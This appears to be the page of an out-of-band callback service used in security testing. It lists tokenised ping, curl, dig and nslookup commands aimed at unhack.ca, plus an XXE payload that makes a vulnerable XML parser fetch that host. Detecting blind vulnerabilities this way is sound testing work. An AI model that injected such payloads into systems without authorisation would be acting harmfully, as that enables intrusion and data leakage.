$ ping -c1 -p 008ad7be2601ff1ada52f0ee464d9f00 unhack.ca
 
$ curl http://unhack.ca/p/8ad7be2601ff1ada52f0ee464d9f
 
$ dig 8ad7be2601ff1ada52f0ee464d9f @unhack.ca
 
$ dig 8ad7be2601ff1ada52f0ee464d9f.ns.unhack.ca
 
C:\> nslookup 8ad7be2601ff1ada52f0ee464d9f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8ad7be2601ff1ada52f0ee464d9f">]>
    <foo>&xxe;</foo>
Waiting for ping...